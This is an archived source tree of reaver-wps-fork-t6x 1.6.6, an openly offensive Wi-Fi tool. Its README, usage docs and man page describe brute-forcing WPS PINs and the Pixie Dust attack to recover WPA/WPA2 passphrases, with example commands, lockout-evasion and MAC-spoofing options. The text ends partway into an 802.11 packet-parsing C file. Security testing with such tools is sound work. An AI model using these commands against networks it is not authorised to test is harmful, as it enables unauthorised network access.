pax_global_header00006660000000000000000000000064136337261550014525gustar00rootroot0000000000000052 comment=7a0f1ce677559685b035e0beb7eac72ff37761c1 reaver-wps-fork-t6x-1.6.6/000077500000000000000000000000001363372615500153105ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/.gitignore000066400000000000000000000003701363372615500173000ustar00rootroot00000000000000*.o *.a *.d *.so *.wpc *.patch *.cap *.pcap *.pcapng *.log *.diff *.csv *.netxml *.tar *.tar.gz *.tar.bz2 *.tar.xz *.pyc *.aes *.gpg src/version.h src/wash src/reaver src/config.log src/config.mak src/config.status src/config.h src/autom4te.cache reaver-wps-fork-t6x-1.6.6/README.md000066400000000000000000000226611363372615500165760ustar00rootroot00000000000000# Overview **Reaver** implements a **brute force attack** against **Wifi Protected Setup** (WPS) registrar **PINs** in order to recover **WPA/WPA2 passphrases**, as described in [Brute forcing Wi-Fi Protected Setup When poor design meets poor implementation.](http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf) by **Stefan Viehböck**. **Reaver** has been designed to be a robust and practical attack against **Wi-Fi Protected Setup (WPS)** registrar PINs in order to **recover WPA/WPA2 passphrases** and has been tested against a wide variety of access points and WPS implementations. **Depending on the target's Access Point (AP)**, to recover the plain text WPA/WPA2 passphrase the **average** amount of time for the transitional **online brute force** method is **between 4-10 hours**. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase. When using the **offline attack**, **if** the AP is vulnerable, it may take only a matter of **seconds to minutes**. The first version of **reaver-wps** (reaver 1.0) was created by **Craig Heffner** in 2011. **reaver-wps-fork-t6x** version **1.6.x** is a **community forked version** which includes **various bug fixes**, **new features** and additional attack method (such as the **offline Pixie Dust** attack). * The original Reaver (version 1.0 to 1.4) can be found in [google code archives](https://code.google.com/p/reaver-wps/). * The discontinued reaver-wps-fork-t6x community edition, reaver version 1.5.3, which includes the Pixie Dust attack, is now the [old-master branch](https://github.com/t6x/reaver-wps-fork-t6x/tree/master-old) from this repository. * The latest revison of reaver-wps-fork-t6x community edition is the [master branch](https://github.com/t6x/reaver-wps-fork-t6x) from this repository. Reaver versioning was updated to **1.6.x** in order to identify the new cycle. All stable relases since the first beta version of reaver 1.6 can be downloaded from our [Releases](https://github.com/t6x/reaver-wps-fork-t6x/releases) page. * More information about the Pixie Dust attack (including **which APs are vulnerable**) can be found in [pixiewps repository](https://github.com/wiire/pixiewps), [pixie dust thread (in Kali forum)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)) & [Dominique Bongard's full disclosure](https://docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/edit?usp=sharing) - - - # Requirements ## Build-time dependencies - libpcap-dev - build-essential ## Runtime-time dependencies - pixiewps (optional, required for pixiedust attack) - aircrack-ng (optional, though recommended) ## Example ``` sudo apt -y install build-essential libpcap-dev aircrack-ng pixiewps ``` _The example uses [Kali Linux](https://www.kali.org/) as the Operating System (OS) as `pixiewps` is included._ You **must** already have Wiire's Pixiewps installed to perform a pixie dust attack, latest version can be found in its [official github repository](https://github.com/wiire/pixiewps). - - - # Setup **Download** `git clone https://github.com/t6x/reaver-wps-fork-t6x` or `wget https://github.com/t6x/reaver-wps-fork-t6x/archive/master.zip && unzip master.zip` **Locate the shell** `cd reaver-wps-fork-t6x*` `cd src` **Compile** `./configure` `make` **Install** `sudo make install` - - - # Reaver Usage ``` Copyright (c) 2011, Tactical Network Solutions, Craig Heffner Required Arguments: -i, --interface= Name of the monitor-mode interface to use -b, --bssid= BSSID of the target AP Optional Arguments: -m, --mac= MAC of the host system -e, --essid= ESSID of the target AP -c, --channel= Set the 802.11 channel for the interface (implies -f) -s, --session= Restore a previous session file -C, --exec= Execute the supplied command upon successful pin recovery -f, --fixed Disable channel hopping -5, --5ghz Use 5GHz 802.11 channels -v, --verbose Display non-critical warnings (-vv or -vvv for more) -q, --quiet Only display critical messages -h, --help Show help Advanced Options: -p, --pin= Use the specified pin (may be arbitrary string or 4/8 digit WPS pin) -d, --delay= Set the delay between pin attempts [1] -l, --lock-delay= Set the time to wait if the AP locks WPS pin attempts [60] -g, --max-attempts= Quit after num pin attempts -x, --fail-wait= Set the time to sleep after 10 unexpected failures [0] -r, --recurring-delay= Sleep for y seconds every x pin attempts -t, --timeout= Set the receive timeout period [10] -T, --m57-timeout= Set the M5/M7 timeout period [0.40] -A, --no-associate Do not associate with the AP (association must be done by another application) -N, --no-nacks Do not send NACK messages when out of order packets are received -S, --dh-small Use small DH keys to improve crack speed -L, --ignore-locks Ignore locked state reported by the target AP -E, --eap-terminate Terminate each WPS session with an EAP FAIL packet -J, --timeout-is-nack Treat timeout as NACK (DIR-300/320) -F, --ignore-fcs Ignore frame checksum errors -w, --win7 Mimic a Windows 7 registrar [False] -K, --pixie-dust Run pixiedust attack -Z Run pixiedust attack Example: reaver -i wlan0mon -b 00:90:4C:C1:AC:21 -vv ``` Options description and examples of use can be found in the [Readme from Craig Heffner](https://github.com/t6x/reaver-wps-fork-t6x/blob/master/docs/README.REAVER). Here comes a description of the new options introduced since then: ## -K or -Z // --pixie-dust The `-K` and `-Z` option perform the offline attack, Pixie Dust _(`pixiewps`)_, by automatically passing the **PKE**, **PKR**, **E-Hash1**, **E-Hash2**, **E-Nonce** and **Authkey** variables. `pixiewps` will then try to attack **Ralink**, **Broadcom** and **Realtek** detected chipset. **Special note**: If you are attacking a **Realtek AP**, **do NOT** use small DH Keys (`-S`) option. User will have to execute reaver with the cracked PIN (option -p) to get the WPA pass-phrase. This is a temporary solution and an option to do a full attack will be implemented soon ## -p with arbitrary string // --pin= See our wiki: [Introducing a new way to crack WPS: Option p with an Arbitrary String](https://github.com/t6x/reaver-wps-fork-t6x/wiki/Introducing-a-new-way-to-crack-WPS:-Option--p-with-an-Arbitrary-String) # Wash Usage ``` Copyright (c) 2011, Tactical Network Solutions, Craig Heffner Required Arguments: -i, --interface= Interface to capture packets on -f, --file [FILE1 FILE2 FILE3 ...] Read packets from capture files Optional Arguments: -c, --channel= Channel to listen on [auto] -n, --probes= Maximum number of probes to send to each AP in scan mode [15] -F, --ignore-fcs Ignore frame checksum errors -2, --2ghz Use 2.4GHz 802.11 channels -5, --5ghz Use 5GHz 802.11 channels -s, --scan Use scan mode -u, --survey Use survey mode [default] -a, --all Show all APs, even those without WPS -j, --json print extended WPS info as json -p, --progress Show percentage of crack progress -h, --help Show help Example: wash -i wlan0mon ``` A detailed description of the options with concrete syntax examples can be found in [Craig Heffner's wash readme](https://github.com/t6x/reaver-wps-fork-t6x/blob/master/docs/README.WASH). About the new options and features: ## -a // --all The option `-a` of Wash will list all access points, including those without WPS enabled. ## -j // --json The extended WPS information (serial, model...) from the AP probe answer will be printed in the terminal (in json format) ## "Vendor" column Wash now displays the manufacturer of the wifi chipset from the Acces Points in order to know if they are vulnerable to pixie dust attack. ## Stdout can be piped Notice that wash output can be piped into other commands. For more information see the wiki article [Everything about the new options from wash](https://github.com/t6x/reaver-wps-fork-t6x/wiki/Everything-about-the-new-options-from-wash) # Acknowledgements ## Contribution Creator of reaver-wps-fork-t6x "community edition": `t6x` Main developer since version 1.6b: `rofl0r` Modifications made by: `t6_x`, `DataHead`, `Soxrok2212`, `Wiire`, `AAnarchYY`, `kib0rg`, `KokoSoft`, `rofl0r`, `horrorho`, `binarymaster`, `Ǹotaz` Some ideas made by: `nuroo`, `kcdtv` Bug fixes made by: `alxchk`, `USUARIONUEVO`, `ldm314`, `vk496`, `falsovsky`, `rofl0r`, `xhebox` ## Special Thanks * `Soxrok2212` for all work done to help in the development of tools * `Wiire` for developing Pixiewps * `Craig Heffner` for creating Reaver and for the creation of default pin generators (D-Link, Belkin) - http://www.devttys0.com/ * `Dominique Bongard` for discovering the Pixie Dust attack. reaver-wps-fork-t6x-1.6.6/docs/000077500000000000000000000000001363372615500162405ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/docs/LICENSE000066400000000000000000000354261363372615500172570ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS reaver-wps-fork-t6x-1.6.6/docs/README000066400000000000000000000077561363372615500171370ustar00rootroot00000000000000OVERVIEW Reaver performs a brute force attack against an access point's WiFi Protected Setup pin number. Once the WPS pin is found, the WPA PSK can be recovered and alternately the AP's wireless settings can be reconfigured. While Reaver does not support reconfiguring the AP, this can be accomplished with wpa_supplicant once the WPS pin is known. DESCRIPTION Reaver targets the external registrar functionality mandated by the WiFi Protected Setup specification. Access points will provide authenticated registrars with their current wireless configuration (including the WPA PSK), and also accept a new configuration from the registrar. In order to authenticate as a registrar, the registrar must prove its knowledge of the AP's 8-digit pin number. Registrars may authenticate themselves to an AP at any time without any user interaction. Because the WPS protocol is conducted over EAP, the registrar need only be associated with the AP and does not need any prior knowledge of the wireless encryption or configuration. Reaver performs a brute force attack against the AP, attempting every possible combination in order to guess the AP's 8 digit pin number. Since the pin numbers are all numeric, there are 10^8 (100,000,000) possible values for any given pin number. However, because the last digit of the pin is a checksum value which can be calculated based on the previous 7 digits, that key space is reduced to 10^7 (10,000,000) possible values. The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually. That means that there are 10^4 (10,000) possible values for the first half of the pin and 10^3 (1,000) possible values for the second half of the pin, with the last digit of the pin being a checksum. Reaver brute forces the first half of the pin and then the second half of the pin, meaning that the entire key space for the WPS pin number can be exhausted in 11,000 attempts. The speed at which Reaver can test pin numbers is entirely limited by the speed at which the AP can process WPS requests. Some APs are fast enough that one pin can be tested every second; others are slower and only allow one pin every ten seconds. Statistically, it will only take half of that time in order to guess the correct pin number. INSTALLATION Reaver is only supported on the Linux platform, requires the libpcap and libsqlite3 libraries, and can be built and installed by running: $ ./configure $ make # make install To remove everything installed/created by Reaver: # make distclean KNOWN BUGS o Some drivers don't play nice with Reaver (check the wiki for the latest list) FILES The following are Reaver source files: o 80211.c Functions for reading, sending, and parsing 802.11 management frames o builder.c Functions for building packets and packet headers o config.h Generated by the configure script o cracker.c Core cracking functions for Reaver. o defs.h Common header with most required definitions and declarations o exchange.c Functions for initiating and processing a WPS exchange o globule.c Wrapper functions for accessing global settings o iface.c Network interface functions o init.c Initialization functions o keys.c Contains tables of all possible pins o misc.c Mac address conversion, debug print functions, etc o pins.c Pin generation and randomization functions o send.c Functions for sending WPS response messages o sigalrm.c Functions for handling SIGALRM interrupts o sigint.c Functions for handling SIGINT interrupts o wpscrack.c Main Reaver source file o wps.h Includes for wps wpa_supplicant functions o libwps/* Generic library code for parsing WPS information elements The following files have been taken from wpa_supplicant. Some have been modified from their original sources: o common/* o crypto/* o tls/* o utils/* o wps/* The lwe directory contains Wireless Tools version 29, used for interfacing with Linux Wireless Extensions. reaver-wps-fork-t6x-1.6.6/docs/README.REAVER000066400000000000000000000072341363372615500201110ustar00rootroot00000000000000REAVER USAGE Usually, the only required arguments to Reaver are the interface name and the BSSID of the target AP: # reaver -i mon0 -b 00:01:02:03:04:05 It is suggested that you run Reaver in verbose mode in order to get more detailed information about the attack as it progresses: # reaver -i mon0 -b 00:01:02:03:04:05 -vv The channel and SSID (provided that the SSID is not cloaked) of the target AP will be automatically identified by Reaver, unless explicitly specified on the command line: # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys Since version 1.3, Reaver implements the small DH key optimization as suggested by Stefan which can speed up the attack speed: # reaver -i mon0 -b 00:01:02:03:04:05 --dh-small By default, if the AP switches channels, Reaver will also change its channel accordingly. However, this feature may be disabled by fixing the interface's channel: # reaver -i mon0 -b 00:01:02:03:04:05 --fixed When spoofing your MAC address, you must set the desired address to spoof using the ifconfig utility, and additionally tell Reaver what the spoofed address is: # reaver -i mon0 -b 00:01:02:03:04:05 --mac=AA:BB:CC:DD:EE:FF The default receive timeout period is 5 seconds. This timeout period can be set manually if necessary (minimum timeout period is 1 second): # reaver -i mon0 -b 00:01:02:03:04:05 -t 2 The default delay period between pin attempts is 1 second. This value can be increased or decreased to any non-negative integer value. A value of zero means no delay: # reaver -i mon0 -b 00:01:02:03:04:05 -d 0 Some APs will temporarily lock their WPS state, typically for five minutes or less, when "suspicious" activity is detected. By default when a locked state is detected, Reaver will check the state every 315 seconds (5 minutes and 15 seconds) and not continue brute forcing pins until the WPS state is unlocked. This check can be increased or decreased to any non-negative integer value: # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250 The default timeout period for receiving the M5 and M7 WPS response messages is .1 seconds. This timeout period can be set manually if necessary (max timeout period is 1 second): # reaver -i mon0 -b 00:01:02:03:04:05 -T .5 Some poor WPS implementations will drop a connection on the floor when an invalid pin is supplied instead of responding with a NACK message as the specs dictate. To account for this, if an M5/M7 timeout is reached, it is treated the same as a NACK by default. However, if it is known that the target AP sends NACKS (most do), this feature can be disabled to ensure better reliability. This option is largely useless as Reaver will auto-detect if an AP properly responds with NACKs or not: # reaver -i mon0 -b 00:01:02:03:04:05 --nack While most APs don't care, sending an EAP FAIL message to close out a WPS session is sometimes necessary. By default this feature is disabled, but can be enabled for those APs that need it: # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate When 10 consecutive unexpected WPS errors are encountered, a warning message will be displayed. Since this may be a sign that the AP is rate limiting pin attempts or simply being overloaded, a sleep can be put in place that will occur whenever these warning messages appear: # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360 reaver-wps-fork-t6x-1.6.6/docs/README.WASH000066400000000000000000000026071363372615500176660ustar00rootroot00000000000000WASH USAGE Wash is a utility for identifying WPS enabled access points. It can survey from a live interface: # wash -i mon0 Or it can scan a list of pcap files: # wash -f capture1.pcap capture2.pcap capture3.pcap Wash will only show access points that support WPS. Wash displays the following information for each discovered access point: BSSID The BSSID of the AP Channel The APs channel, as specified in the AP's beacon packet WPS Version The WPS version supported by the AP WPS Locked The locked status of WPS, as reported in the AP's beacon packet ESSID The ESSID of the AP By default, wash will perform a passive survey. However, wash can be instructed to send probe requests to each AP in order to obtain more information about the AP: # wash -i mon0 --scan By sending probe requests, wash will illicit a probe response from each AP. For WPS-capable APs, the WPS information element typically contains additional information about the AP, including make, model, and version data. This data is stored in the survey table of the reaver.db database. The reaver.db SQLite database contains three tables: history This table lists attack history, including percent complete and recovered WPA keys survey This table is re-populated each time wash is run with detailed access point information status This table is used to indicate the overall status of wash/reaver reaver-wps-fork-t6x-1.6.6/docs/reaver.1000066400000000000000000000037071363372615500176150ustar00rootroot00000000000000.TH Reaver "1" "29 December, 2011" "1.3" .SH NAME .P .B Reaver - WPS Cracker .SH SYNOPSIS .P .B reaver -i -b -vv .SH DESCRIPTION .P Reaver implements a brute force attack against WiFi Protected Setup which can crack the WPS pin of an access point in a matter of hours and subsequently recover the WPA/WPA2 passphrase. .P Specifically, Reaver targets the registrar functionality of WPS, which is flawed in that it only takes 11,000 attempts to guess the correct WPS pin in order to become a WPS registrar. Once registred as a registrar with the access point, the access point will give you the WPA passphrase. .SH OPTIONS .P .RS .B -m, --mac= .RS MAC of the host system (should be resolved automatically) .RE .RE .P .RS .B -e, --essid= .RS ESSID of the target AP. Unless cloaked, this will be resolved automatically. .RE .RE .P .RS .B -c, --channel= .RS Set the 802.11 channel for the interface (implies -f) .RE .RE .P .RS .B -o, --out-file= .RS Send output to a log file [default: stdout] .RE .RE .P .RS .B -f, --fixed .RS Disable channel hopping .RE .RE .P .RS .B -5, --5ghz .RS Use 5GHz 802.11 channels .RE .RE .P .RS .B -v, --verbose .RS Display non-critical warnings (-vv for more) .RE .RE .P .RS .B -q, --quiet .RS Only display critical messages .RE .RE .P .RS .B -i, --interface= .RS Name of the monitor-mode interface to use .RE .RE .P .RS .B -b, --bssid= .RS BSSID of the target AP .RE .RE .P .RS .B -p, --pin= .RS Use the specified WPS pin .RE .RE .P .RS .B -h, --help .RS Show help .RE .RE .SH AUTHOR .P This manual page was written by Craig Heffner , Tactical Network Solutions. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. reaver-wps-fork-t6x-1.6.6/src/000077500000000000000000000000001363372615500160775ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/80211.c000066400000000000000000000545661363372615500167360ustar00rootroot00000000000000/* * Reaver - 802.11 functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "iface.h" #include "80211.h" #include "send.h" #include "utils/radiotap.h" #include "crc.h" #include "pcapfile.h" #include #include /* define NO_REPLAY_HTCAPS to 1 if you want to disable sending ht caps in association request for testing */ #ifndef NO_REPLAY_HTCAPS #define NO_REPLAY_HTCAPS 0 #endif static void deauthenticate(void); static void authenticate(void); static void associate(void); static int check_fcs(const unsigned char *packet, size_t len); /*Reads the next packet from pcap_next() and validates the FCS. */ unsigned char *next_packet(struct pcap_pkthdr *header) { const unsigned char *packet = NULL; struct pcap_pkthdr *pkt_header; static int warning_shown = 0; int status; /* Loop until we get a valid packet, or until we run out of packets */ while((status = pcap_next_ex(get_handle(), &pkt_header, &packet)) == 1 || !status) { if(!status) continue; /* timeout */ memcpy(header, pkt_header, sizeof(*header)); int fd; if((fd = get_output_fd()) != -1) pcapfile_write_packet(fd, header, packet); if(get_validate_fcs() && !check_fcs(packet, header->len)) { if(!warning_shown) cprintf(INFO, "[!] Found packet with bad FCS, skipping...\n"); warning_shown = 1; continue; } break; } return (void*)packet; } #define BEACON_SIZE(rth_len) (rth_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame)) /* probe responses, just like beacons, start their management frame packet with the same fixed parameters of size 12 */ #define PROBE_RESP_SIZE(rth_len) BEACON_SIZE(rth_len) /* return 1 if beacon, -1 if probe response */ /* additionally populates frameheader and management frame pointers */ int is_management_frame( /* input params */ const struct pcap_pkthdr *header, unsigned const char *packet, /* output */ const struct dot11_frame_header **fh, const struct beacon_management_frame **mf ) { struct radio_tap_header *rt_header = (void *) radio_header(packet, header->len); size_t rt_header_len = end_le16toh(rt_header->len); if(header->len < BEACON_SIZE(rt_header_len)) return 0; *fh = (void *) (packet + rt_header_len); unsigned f_type = (*fh)->fc & end_htole16(IEEE80211_FCTL_FTYPE); unsigned fsub_type = (*fh)->fc & end_htole16(IEEE80211_FCTL_STYPE); int is_management_frame = f_type == end_htole16(IEEE80211_FTYPE_MGMT); int is_beacon = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_BEACON); int is_probe_resp = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_PROBE_RESP); if(is_management_frame) *mf = (void *) (packet + rt_header_len + sizeof(struct dot11_frame_header)); if(is_beacon) return 1; if(is_probe_resp) return -1; return 0; } unsigned char* next_management_frame( struct pcap_pkthdr *header, const struct dot11_frame_header **fh, const struct beacon_management_frame **mf, int *type ) { unsigned char *packet; while((packet = next_packet(header))) { if((*type = is_management_frame(header, packet, fh, mf))) break; } return packet; } unsigned char* next_beacon( struct pcap_pkthdr *header, const struct dot11_frame_header **fh, const struct beacon_management_frame **mf ) { unsigned char *packet; int type; while((packet = next_management_frame(header, fh, mf, &type))) { if(type == 1) break; } return packet; } /* * Waits for a beacon packet from the target AP and populates the globule->ap_capabilities field. * This is used for obtaining the capabilities field and AP SSID. */ void read_ap_beacon() { struct pcap_pkthdr header; const unsigned char *packet; const struct dot11_frame_header *frame_header; const struct beacon_management_frame *beacon; time_t start_time = time(NULL); set_ap_capability(0); while((packet = next_packet(&header))) { int type = is_management_frame(&header, packet, &frame_header, &beacon); if(type != 1 || !is_target(frame_header)) { /* If we haven't seen any beacon packets from the target within BEACON_WAIT_TIME seconds, try another channel */ if((time(NULL) - start_time) >= BEACON_WAIT_TIME) { next_channel(); start_time = time(NULL); } continue; } set_ap_capability(end_le16toh(beacon->capability)); /* Obtain the SSID and channel number from the beacon packet */ int channel = parse_beacon_tags(packet, 